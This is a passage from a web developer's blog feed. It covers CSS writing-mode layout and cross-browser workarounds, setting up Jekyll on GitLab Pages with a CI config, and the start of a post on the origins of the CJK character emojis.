  box-shadow: inset 0 0 10px #fff, 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #f04c16, 0 0 20px #f04c16, 0
      0 0 0.35em #313b4a;
}

.c-title__en {
  font-family: &amp;quot;Bungee Outline&amp;quot;;
  text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #fff, 0 0 20px #f04c16, 0 0 35px #f04c16, 0 0
      40px #f04c16, 0 0 50px #f04c16, 0 0 75px #f04c16;
  text-orientation: upright;
  font-feature-settings: &amp;quot;vkrn&amp;quot;, &amp;quot;vpal&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s a lot more code than what I show here, largely because I switch back to a horizontal layout on narrower screens. But this is the gist of the neon lights effect.&lt;/p&gt;
&lt;h3&gt;Fancy form input&lt;/h3&gt;
&lt;p&gt;I also had the brilliant idea to have a newsletter subscription box, because why not? Actually I always wanted to try out &lt;a href=&quot;https://tinyletter.com/&quot;&gt;TinyLetter&lt;/a&gt; but never had an use case for it. As an avid reader of &lt;a href=&quot;http://tympanus.net/codrops/&quot;&gt;Codrops&lt;/a&gt;, I&apos;m a big fan of &lt;a href=&quot;https://twitter.com/crnacura&quot;&gt;Manoela Ilic&lt;/a&gt; AKA Mary Lou, who creates all sorts of wonderful CSS effects and shares them with us. I borrowed &lt;a href=&quot;https://tympanus.net/codrops/2015/01/08/inspiration-text-input-effects/&quot;&gt;one of hers&lt;/a&gt; for this.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Oooo...fancy&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/text-input.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/text-input.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;One thing I had to get around was that the label of the input field used a little bit of JavaScript to trigger a CSS class that transformed it when the field was focused. In the event that JavaScript failed for whatever reason, the field would have default styling that did not require CSS transforms. At first I tried using Modernizer, but then realised this was the perfect scenario for a feature query.&lt;/p&gt;
&lt;p&gt;I had only ever deployed 1 feature query before to detect &lt;code&gt;vmax&lt;/code&gt; and it worked beautifully. So this time, my feature query to detect CSS 3D transforms looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (transform: translate3d(0, 0, 0)) or (-webkit-transform: translate3d(0, 0, 0)) {
  /* relevant CSS here */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;ve never heard of feature queries before, you definitely must read &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;&apos; post &lt;a href=&quot;https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&quot;&gt;Using Feature Queries in CSS&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;JavaScript-less modal&lt;/h3&gt;
&lt;p&gt;A last minute edition was a contact form. Some people are going to be horrified that I didn&apos;t plan the content of the site out before actually designing and building the thing. But I found it easier (and much faster) to just design and tweak as I built &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;It occurred to me that I ought to include some sort of contact information somewhere on the site, and I really didn&apos;t have a good place to chuck this form. So I decided to make it a modal, which was triggered when someone clicked on the envelope icon in the footer. Could I have put in somewhere more obvious? Sure, if I had thought this through, but I didn&apos;t. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pile of poo&quot;&gt;💩&lt;/span&gt; happens.&lt;/p&gt;
&lt;p&gt;I found out about the &lt;code&gt;:target&lt;/code&gt; trick from &lt;a href=&quot;http://www.heydonworks.com/&quot;&gt;Heydon Pickering&lt;/a&gt;&apos;s post on &lt;a href=&quot;https://www.smashingmagazine.com/2015/12/reimagining-single-page-applications-progressive-enhancement/&quot;&gt;Reimagining Single-Page Applications With Progressive Enhancement&lt;/a&gt; and thought it&apos;d be cool to build a CSS-only modal with it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.c-contact {
  background: rgba(0, 0, 0, 0.7);
  transition: opacity 500ms;
  visibility: hidden;
  opacity: 0;

  &amp;amp;:target {
    visibility: visible;
    opacity: 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In short, &lt;code&gt;:target&lt;/code&gt; is a pseudo-selector which is activated when the id of an element matches the hash in the URL. So I gave the links that were supposed to trigger the modal an &lt;code&gt;href&lt;/code&gt; of &lt;code&gt;#contact&lt;/code&gt; and they triggered the styles that made my contact form element visible. Also, I&apos;m using &lt;a href=&quot;https://formspree.io/&quot;&gt;Formspree&lt;/a&gt; to handle the submissions, this being a static site and all.&lt;/p&gt;
&lt;h2&gt;OMG so many bugs &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;loudly crying face&quot;&gt;😭&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;SO. MANY. CROSS-BROWSER. BUGS. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;lady beetle&quot;&gt;🐞&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Browser behaviour is super inconsistent for mixing writing-modes, especially in terms of overall page layout. Chrome, Safari and Opera on Mac OS all seemed to behave reasonably well. On Firefox, &lt;code&gt;writing-mode&lt;/code&gt; doesn&apos;t play well with &lt;code&gt;display: flex&lt;/code&gt; and I think Firefox doesn&apos;t handle child elements with a different writing-mode from its parent the same way as the other 3 browsers. And don&apos;t get me started on the Microsoft browsers.&lt;/p&gt;
&lt;p&gt;I could not for the life of me get my block of Chinese content centred properly on Firefox or Edge/IE.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;On Firefox&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/pghk/ff-issue-640.jpg&quot;
    srcset=&quot;/images/posts/pghk/ff-issue-480.jpg 480w, /images/posts/pghk/ff-issue-640.jpg 640w, /images/posts/pghk/ff-issue-960.jpg 960w, /images/posts/pghk/ff-issue-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Firefox layout issue&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I managed to find a fix for the issue on Firefox but I don&apos;t really understand exactly why it works. Adding a margin-left then transforming it back centred the block. If you know why this works, please let me know.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.l-lang__zh {
  margin-left: 50%;
  transform: translateX(-50%);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MS browsers also seem to have issues with rotation via CSS transform when the element has a vertical writing-mode. The &lt;code&gt;transform-origin&lt;/code&gt; seems out of whack. Plus, the margin/transform trick for Firefox does NOT work for MS browsers.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;On MS Edge&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/pghk/ms-issue-640.png&quot;
    srcset=&quot;/images/posts/pghk/ms-issue-480.png 480w, /images/posts/pghk/ms-issue-640.png 640w, /images/posts/pghk/ms-issue-960.png 960w, /images/posts/pghk/ms-issue-1280.png 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;MS Edge layout issue&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I had to work-around the problem using &lt;a href=&quot;http://browserhacks.com/&quot;&gt;BrowserHacks&lt;/a&gt;. I know it&apos;s not a best practice, but I don&apos;t think feature detection works here, because technically MS browsers DO support writing-modes, just not well I guess. If you peek into my source code (available on &lt;a href=&quot;https://gitlab.com/penang-hokkien/penang-hokkien.gitlab.io&quot;&gt;GitLab&lt;/a&gt;), you&apos;ll see the hacks in all their gory glory.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {
  /* Styles specific to IE10 and IE11 */
}

@supports (-ms-ime-align: auto) {
  /* Styles specific to Edge */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flexbox problem reared its ugly head on the &lt;a href=&quot;http://penang-hokkien.gitlab.io/about/&quot;&gt;About page&lt;/a&gt;, and turns out this is a known browser bug. So I decided to have a different layout just for Firefox that circumvents this issue altogether. But I&apos;ll definitely be tracking the progress of these bugs.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1189131&quot; rel=&quot;nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bug 1189131 - flex align-items center displaces text when writing-mode is vertical-rl&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1223180&quot; rel=&quot;nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bug 1223180 - Flex + vertical writing-mode: flex items / text disappear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1267462&quot; rel=&quot;nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bug 1267462 - Use logical dimensions/coordinates more in flex layout&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;_:-moz-tree-row(hover),
.RELEVANT_SELECTOR {
  /* Styles specific to Firefox */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though it took me 4 days to build and launch the site from scratch, it took me way longer than that to address the various cross-browser bugs. As of time of writing, there&apos;s still a bug in Chrome on OpenSUSE that I haven&apos;t investigated yet.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It had been a while since I built something for myself, so this was a fun project, albeit frustrating when I started testing across the different browsers. But that&apos;s precisely why we need to start trying out some of the lesser used CSS properties in actual projects, so we can help find odd browser behaviour and raise them as bugs to be fixed.&lt;/p&gt;
&lt;h2&gt;Relevant resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-writing-modes-3/&quot;&gt;CSS Writing Modes Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://24ways.org/2016/css-writing-modes/&quot;&gt;CSS Writing Modes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&quot;&gt;Using Feature Queries in CSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tategaki.github.io/awards/&quot;&gt;たてよこWebアワード&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Hosting a Jekyll site on GitLab Pages</title><link>https://chenhuijing.com/blog/hosting-static-site-gitlab-pages/</link><guid isPermaLink="true">https://chenhuijing.com/blog/hosting-static-site-gitlab-pages/</guid><description>I&apos;ve always hosted my static site projects on GitHub Pages and honestly, it&apos;s been great. Setup takes no time (maybe because I&apos;ve done it so many times…</description><pubDate>Wed, 04 Jan 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve always hosted my static site projects on &lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub Pages&lt;/a&gt; and honestly, it&apos;s been great. Setup takes no time (maybe because I&apos;ve done it so many times before), especially since GitHub &lt;a href=&quot;https://github.com/blog/2228-simpler-github-pages-publishing&quot;&gt;simplified the publishing process&lt;/a&gt;. But because &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;musical notes&quot;&gt;🎶&lt;/span&gt; I&apos;m just a sucker for pain &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;musical notes&quot;&gt;🎶&lt;/span&gt;(&lt;em&gt;insert music to Sucker for Pain from the Suicide Squad OST&lt;/em&gt; ), I decided to give &lt;a href=&quot;https://pages.gitlab.io/&quot;&gt;GitLab Pages&lt;/a&gt; a try instead.&lt;/p&gt;
&lt;p&gt;It&apos;s not that GitLab Pages is bad, far from it. But doing anything for the first time (even setting up GitHub Pages) will be a little bit tricky. Also, GitLab Pages is slightly harder to setup but provides much more flexibility, so weigh your pros and cons. &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt; is my static site generator of choice.&lt;/p&gt;
&lt;h2&gt;Types of sites&lt;/h2&gt;
&lt;p&gt;Similar to GitHub Pages, GitLab Pages also allows you to have a single user site and unlimited project sites. But what GitLab Pages has in addition is the concept of &lt;strong&gt;groups&lt;/strong&gt;. If you haven&apos;t used GitLab before, you can actually &lt;a href=&quot;https://docs.gitlab.com/ee/workflow/groups.html&quot;&gt;group several projects together into a directory&lt;/a&gt;, which provides a namespace under which all these projects are housed under. And you can then give an user access to all projects within that group. GitLab pages allows you to have a unique site per group as well.&lt;/p&gt;
&lt;h2&gt;General steps for user/group site&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a repository on GitLab named &lt;code&gt;YOUR_USER_NAME.gitlab.io&lt;/code&gt;, making sure the first part matches your user name or group name exactly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; file. This file controls the build process for your site. Every push to the Git repository will trigger the runner and you can check its progress on the &lt;code&gt;/pipelines&lt;/code&gt; page of your project.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/gitlab-pages/pipeline-640.png&quot;
  srcset=&quot;/images/posts/gitlab-pages/pipeline-480.png 480w, /images/posts/gitlab-pages/pipeline-640.png 640w, /images/posts/gitlab-pages/pipeline-960.png 960w, /images/posts/gitlab-pages/pipeline-1280.png 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Pipeline option on toolbar&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: I wish I had found this page when I was setting up, but I somehow missed it. So I&apos;m highlighting it to you now. Refer to &lt;a href=&quot;https://gitlab.com/jekyll-themes/default-bundler&quot;&gt;Build Jekyll with Bundler&lt;/a&gt; if you&apos;re using Jekyll as your static site generator.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  For Jekyll sites, your &lt;code&gt;gitlab-ci.yml&lt;/code&gt; will look something like this:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# requiring the environment of Ruby 2.3.x
image: ruby:2.3
# add bundle cache to &apos;vendor&apos; for speeding up builds
cache:
  paths:
    - vendor/
before_script:
  - bundle install --path vendor
# the &apos;pages&apos; job will deploy and build your site to the &apos;public&apos; path
pages:
  stage: deploy
  script:
    - bundle exec jekyll build -d public/
  artifacts:
    paths:
      - public
  only:
    - master # this job will affect only the &apos;master&apos; branch
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure you exclude the &lt;code&gt;vendor&lt;/code&gt; directory in your &lt;code&gt;_config.yml&lt;/code&gt; file. This step tripped me up a bit (evidence can be seen in the first couple of &lt;a href=&quot;https://gitlab.com/penang-hokkien/penang-hokkien.gitlab.io/commits/master&quot;&gt;my repository commits&lt;/a&gt;). If you, unlike me, are familiar with the YAML syntax, you probably wouldn&apos;t have ran into the problems I did.&lt;/p&gt;
&lt;p&gt;First of all, I didn&apos;t exclude the &lt;code&gt;vendor&lt;/code&gt; directory in my initial commit, so I ran into an &lt;code&gt;invalid date &apos;0000-00-00&apos;&lt;/code&gt; error and my pipeline failed. So after a bit of googling, I found &lt;a href=&quot;https://github.com/jekyll/jekyll/issues/2938&quot;&gt;this issue log&lt;/a&gt; and the solution was to exclude the &lt;code&gt;vendor&lt;/code&gt; directory. But the instruction was to add the line &lt;code&gt;exclude: [vendor]&lt;/code&gt; to the &lt;code&gt;_config.yml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;With my complete lack of YAML knowledge, I dutifully added the line and the relevant portion of the &lt;code&gt;_config.yml&lt;/code&gt; file looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Do NOT do this. This is WRONG!!
exclude:
  - [vendor]
  - Gemfile
  - Gemfile.lock
  - node_modules
  - gulpfile.js
  - package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Basically, I didn&apos;t know the shorthand for lists in YAML was written like JavaScript arrays. So here are the 2 correct ways to exclude multiple files/folders in your &lt;code&gt;_config_yml&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;exclude: - vendor - Gemfile - Gemfile.lock - node_modules - gulpfile.js - package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OR&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;exclude: [vendor, &amp;quot;Gemfile&amp;quot;, &amp;quot;Gemfile.lock&amp;quot;, node_modules, &amp;quot;gulpfile.js&amp;quot;, &amp;quot;package.json&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Push your files up to GitLab and watch it run in the pipeline page. If you run into a &lt;code&gt;Could not find a JavaScript runtime.&lt;/code&gt; error, which I somehow did, you may need to include the line &lt;code&gt;gem &apos;therubyracer&apos;&lt;/code&gt; in your &lt;code&gt;Gemfile&lt;/code&gt;. &lt;a href=&quot;https://github.com/jekyll/jekyll/issues/2327&quot;&gt;Relevant issue log here&lt;/a&gt;. Why is a JavaScript runtime needed for a Jekyll site you may ask? It&apos;s most probably not needed, but something up with my site&apos;s files &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It wasn&apos;t a terrible experience, and the trip-ups were largely due to my own stupidity anyway. But at least I got the site up and running. Feel free to reference my &lt;a href=&quot;https://gitlab.com/penang-hokkien/penang-hokkien.gitlab.io&quot;&gt;site&apos;s setup on GitLab&lt;/a&gt;. Also, because of the whole GitLab CI configuration thing, you&apos;re free to use any static site generator of your choice, unlike GitHub Pages, which is slightly limiting. If you find GitHub Pages a bit too restrictive for your liking, why not give GitLab Pages a try?&lt;/p&gt;
</content:encoded></item><item><title>East Asian character emojis ㊗️ 🈶️ 🈯️ 🈳️</title><link>https://chenhuijing.com/blog/east-asian-character-emojis/</link><guid isPermaLink="true">https://chenhuijing.com/blog/east-asian-character-emojis/</guid><description>I am an unabashed lover of emojis. Just read anything I write, there&apos;s almost always at least 1 emoji thrown in there somewhere. I can&apos;t help myself, they are…</description><pubDate>Thu, 29 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I am an unabashed lover of emojis. Just read anything I write, there&apos;s almost always at least 1 emoji thrown in there somewhere. I can&apos;t help myself, they are just so...apt. Do you know that the &lt;a href=&quot;http://unicode.org/emoji/charts/full-emoji-list.html&quot;&gt;Full Emoji Data&lt;/a&gt; actually loads super-quick when I visit because I go there so often most of the data is cached my browser already. My state of mind was &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;party popper&quot;&gt;🎉&lt;/span&gt; when the &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt; and &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦‍♀️&lt;/span&gt; emojis were released.&lt;/p&gt;
&lt;p&gt;Have you scrolled through the entire list of emojis, got to the symbol section and wondered why those Chinese character symbols are there? No? It&apos;s just me? Well, I ponder such deep questions often throughout my day.&lt;/p&gt;
&lt;p&gt;Maybe if you don&apos;t read any of the CJK (Chinese, Japanese, Korean) languages, these symbols mean nothing to you. But as a native Chinese speaker, I always wondered, why those particular words? I mean, there are literally tens of thousands of Chinese characters, so why those?&lt;/p&gt;
&lt;h2&gt;Some background (context is important)&lt;/h2&gt;
&lt;p&gt;Let&apos;s go back to the beginning. The word &lt;em&gt;Emoji&lt;/em&gt; is Japanese.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;絵 (&lt;strong&gt;e&lt;/strong&gt;) ≈ picture) 文 (&lt;strong&gt;mo&lt;/strong&gt; ≈ writing) 字 (&lt;strong&gt;ji&lt;/strong&gt; ≈ character)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://jeremyburge.me/&quot;&gt;Jeremy Burge&lt;/a&gt;, Chief Emoji Officer at &lt;a href=&quot;https://emojipedia.org/&quot;&gt;Emojipedia&lt;/a&gt; issued &lt;a href=&quot;https://blog.emojipedia.org/correcting-the-record-on-the-first-emoji-set/&quot;&gt;a correction&lt;/a&gt; to a very widely known, yet incorrect fact that DoCoMo was the originator of emoji.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Emojis were invented by &lt;a href=&quot;http://d.hatena.ne.jp/sigekun/&quot;&gt;Shigetaka Kurita&lt;/a&gt; as a solution to the 250 character limit on &lt;a href=&quot;https://web.archive.org/web/20130502120844/https://www.nttdocomo.co.jp/english/service/imode/&quot;&gt;i-mode&lt;/a&gt;, NTT DoCoMo&apos;s new mobile internet system (back in 1999).&lt;/s&gt; Softbank released a &lt;a href=&quot;https://emojipedia.org/softbank/1997/&quot;&gt;set of 90 emojis&lt;/a&gt;, including the well-loved pile of poo emoji back in 1997 on the Skywalker service for the DP-211SW mobile phone. As of now, the original designer&apos;s identity remains unknown.&lt;/p&gt;
&lt;p&gt;2 years later, &lt;a href=&quot;http://d.hatena.ne.jp/sigekun/&quot;&gt;Shigetaka Kurita&lt;/a&gt; created a set of 176 emojis for NTT DoCoMo&apos;s new mobile internet system (back in 1999). Most of DoCoMo&apos;s 176 original emojis were designed for the Japanese market, largely because nobody expected them to explode on the a global scale. Soon after their release, there was &lt;a href=&quot;http://www.unicode.org/L2/L2000/00152-pictographs.txt&quot;&gt;a proposal to encode these emoji in Unicode&lt;/a&gt; by Graham Asher in 2000, but nothing happened because people weren&apos;t sure if emoji would be popular or not.&lt;/p&gt;
&lt;p&gt;Turns out, they were a big hit in Japan, but every telecom company did their own thing with emoji encoding so incompatibility was a big issue. There was a high chance your emojis just wouldn&apos;t display properly. Kinda like &amp;quot;tofu&amp;quot; characters when your computer doesn&apos;t support East Asian languages.&lt;/p&gt;
&lt;p&gt;So in 2006, Google started converting them into Unicode &lt;a href=&quot;https://en.wikipedia.org/wiki/Private_Use_Areas&quot;&gt;private-use codes&lt;/a&gt;. Unicode itself is a fascinating topic so if you&apos;re interested, read &lt;a href=&quot;https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/&quot;&gt;The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)&lt;/a&gt; by &lt;a href=&quot;https://www.joelonsoftware.com&quot;&gt;Joel Spolsky&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Long story short, the private-use approach was problematic so another proposal was made to the Unicode Consortium to expand the scope of symbols to include emojis. According to the &lt;a href=&quot;http://unicode.org/reports/tr51/&quot;&gt;Unicode® Technical Report #51&lt;/a&gt;, the timeline for emoji development looks something like this:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2000-04-26 - NTT DoCoMo Pictographs&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2000-04-26 - NTT DoCoMo Pictographs&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2006-11-01 - Symbols (scope extension)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2007-08-03 - Working Draft Proposal for Encoding Emoji Symbols&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2007-08-09 - Symbols draft resolution&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2007-09-18 - Japanese TV Symbols (ARIB)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2009-01-30 - Emoji Symbols Proposed for New Encoding&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2009-03-05 - Proposal for Encoding Emoji Symbols&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;2010-04-27 - Emoji Symbols: Background Data&lt;/li&gt;
  &lt;li&gt;2011-02-15 - Wingdings and Webdings Symbols&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You gotta remember, emojis are just a small subset of all the Unicode symbols out there. Also, not all the emojis in a proposal will make it into the release either. Case in point, the &lt;a href=&quot;http://www.unicode.org/L2/L2007/07259-japanese-tv.pdf&quot;&gt;proposal for Japanese TV symbols&lt;/a&gt; contained lots of Chinese characters that didn&apos;t make it into the release (though a handful did).&lt;/p&gt;
&lt;p&gt;So &lt;a href=&quot;http://blog.unicode.org/2010/10/unicode-version-60-support-for-popular.html&quot;&gt;Unicode v6.0, released in 2010&lt;/a&gt;, was the version that included &amp;quot;support for popular symbols in Asia&amp;quot; (I&apos;m literally quoting the headline of that post &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;). That&apos;s when most of the CJK character symbols were added. The Japanese are clearly the most active contributors in this regard, and so these symbols, though perfectly usable as Chinese characters, primarily have specific Japanese contexts.&lt;/p&gt;
&lt;p&gt;After a few hours of research into the origins of these emojis, I was starting to get confused. The names of some of these emojis on the Emoji List didn&apos;t seem to make sense at all. I even asked my Japanese friend, who replied she&apos;d never seen anyone use them before. It was at the &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;指&quot;&gt;🈯️&lt;/span&gt; emoji that I realised I was being led down the wrong path by Emojipedia!&lt;/p&gt;
&lt;p&gt;These emojis came from the &lt;a href=&quot;http://www.arib.or.jp/english/&quot;&gt;Association of Radio Industries and Businesses (ARIB)&lt;/a&gt; in their TV symbols proposal. Television symbols! I was definitely barking up the wrong tree trying associate their origins to the context of everyday usage. But with that cleared up, this article almost wrote itself (not really, content creation takes effort, people).&lt;/p&gt;
&lt;h2&gt;The Dumpling Emoji Project&lt;/h2&gt;
&lt;p&gt;I must highlight the existence of this project. It was started by &lt;a href=&quot;http://www.jennifer8lee.com/&quot;&gt;Jennifer 8. Lee&lt;/a&gt; and &lt;a href=&quot;http://www.yiyinglu.com/&quot;&gt;Yiying Lu&lt;/a&gt; who were appalled by the fact that we do not have a dumpling emoji (I love dumplings, so I&apos;m appalled too). But when they looked into the emoji proposal process, they found that the Unicode Consortium was actually controlled by a handful of &lt;a href=&quot;http://www.unicode.org/consortium/members.html&quot;&gt;multinational American tech corporations&lt;/a&gt;. And membership is quite pricey.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The decision makers along the way are overwhelmingly male, overwhelming white and overwhelmingly engineers. They specialize in encoding. Such a review process certainly is less than ideal for promoting a vibrant visual language used throughout the world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So they came up with a Kickstarter project called &lt;a href=&quot;https://www.kickstarter.com/projects/657685639/where-is-the-dumpling-emoji&quot;&gt;Where Is the Dumpling Emoji?&lt;/a&gt; to raise enough funds to get non-voting affiliate membership in the Unicode Consortium, and eventually create a system where popular emoji requests (#emojirequest) can systematically bubble up and get transformed into proper proposals for the Unicode Consortium.&lt;/p&gt;
&lt;p&gt;And by golly, they did it! With the amount of publicity their campaign generated and support from like-minded emoji-loving people, &lt;a href=&quot;https://web.archive.org/web/20161217073210/http://www.unicode.org/emoji/charts/emoji-candidates.html&quot;&gt;Unicode v10.0, slated for release in June 2017&lt;/a&gt;, will include the Dumpling, Takeout box, Fortune cookie and Chopsticks emojis. As a side note, I&apos;m excited because the &amp;quot;Face with one eyebrow raised&amp;quot; emoji also made the cut.&lt;/p&gt;
&lt;p&gt;I love a happy ending &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;confetti ball&quot;&gt;🎊&lt;/span&gt;. Here&apos;s the link to the actual &lt;a href=&quot;http://www.unicode.org/L2/L2016/16024-dumpling-emoji.pdf&quot;&gt;Dumpling Emoji Submission&lt;/a&gt; that was proposed earlier this year.&lt;/p&gt;
&lt;h2&gt;Here&apos;s the good stuff &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Because I hang out at the &lt;a href=&quot;http://unicode.org/emoji/charts/full-emoji-list.html&quot;&gt;Full Emoji List&lt;/a&gt; page so often, I&apos;m 95% confident I caught all of CJK character emojis (as of December 2016), but drop me a message if I did miss any. This list is going to cover Japanese characters as well.&lt;/p&gt;
